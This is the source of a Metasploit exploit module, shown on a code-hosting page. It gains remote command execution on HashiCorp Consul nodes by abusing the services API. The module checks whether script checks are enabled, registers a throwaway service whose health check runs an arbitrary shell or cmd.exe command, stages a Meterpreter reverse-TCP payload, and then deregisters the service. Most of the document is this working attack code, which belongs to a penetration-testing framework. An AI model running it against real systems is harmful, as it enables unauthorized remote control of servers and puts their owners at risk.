Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/consul_service_exec.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Hashicorp Consul Remote Command Execution via Services API',
17
'Description' => %q{
18
This module exploits Hashicorp Consul's services API to gain remote command
19
execution on Consul nodes.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
24
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
25
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module
26
'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module
27
],
28
'References' => [
29
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
30
[ 'URL', 'https://github.com/torque59/Garfield' ]
31
],
32
'Targets' => [
33
[
34
'Linux',
35
{
36
'Platform' => 'linux',
37
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
38
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
39
}
40
],
41
[
42
'Windows',
43
{
44
'Platform' => 'win',
45
'CmdStagerFlavor' => 'psh_invokewebrequest',
46
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
47
}
48
]
49
],
50
'Payload' => {},
51
'Privileged' => false,
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2018-08-11',
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
register_options(
62
[
63
OptString.new('TARGETURI', [true, 'The base path', '/']),
64
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
65
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
66
Opt::RPORT(8500)
67
]
68
)
69
end
70
71
def check
72
res = send_request_cgi({
73
'method' => 'GET',
74
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
75
'headers' => {
76
'X-Consul-Token' => datastore['ACL_TOKEN']
77
}
78
})
79
80
unless res
81
vprint_error 'Connection failed'
82
return CheckCode::Unknown
83
end
84
85
unless res.code == 200
86
vprint_error 'Unexpected reply'
87
return CheckCode::Safe
88
end
89
90
agent_info = JSON.parse(res.body)
91
92
if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true
93
return CheckCode::Vulnerable
94
end
95
96
CheckCode::Safe
97
rescue JSON::ParserError
98
vprint_error 'Failed to parse JSON output.'
99
return CheckCode::Unknown
100
end
101
102
def execute_command(cmd, _opts = {})
103
uri = target_uri.path
104
service_name = Rex::Text.rand_text_alpha(5..10)
105
print_status("Creating service '#{service_name}'")
106
107
# NOTE: Timeout defines how much time the check script will run until
108
# getting killed. Arbitrarily set to one day for now.
109
case target.name
110
when /Linux/
111
arg1 = 'sh'
112
arg2 = '-c'
113
when /Windows/
114
arg1 = 'cmd.exe'
115
arg2 = '/c'
116
end
117
res = send_request_cgi({
118
'method' => 'PUT',
119
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
120
'headers' => {
121
'X-Consul-Token' => datastore['ACL_TOKEN']
122
},
123
'ctype' => 'application/json',
124
'data' => {
125
ID: service_name.to_s,
126
Name: service_name.to_s,
127
Address: '127.0.0.1',
128
Port: 80,
129
check: {
130
Args: [arg1, arg2, cmd.to_s],
131
interval: '10s',
132
Timeout: '86400s'
133
}
134
}.to_json
135
})
136
unless res && res.code == 200
137
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
138
end
139
print_status("Service '#{service_name}' successfully created.")
140
print_status("Waiting for service '#{service_name}' script to trigger")
141
sleep(12)
142
print_status("Removing service '#{service_name}'")
143
res = send_request_cgi({
144
'method' => 'PUT',
145
'uri' => normalize_uri(
146
uri,
147
"v1/agent/service/deregister/#{service_name}"
148
),
149
'headers' => {
150
'X-Consul-Token' => datastore['ACL_TOKEN']
151
}
152
})
153
if res && res.code != 200
154
fail_with(Failure::UnexpectedReply,
155
'An error occured when contacting the Consul API.')
156
end
157
end
158
159
def exploit
160
execute_cmdstager
161
end
162
end
163
164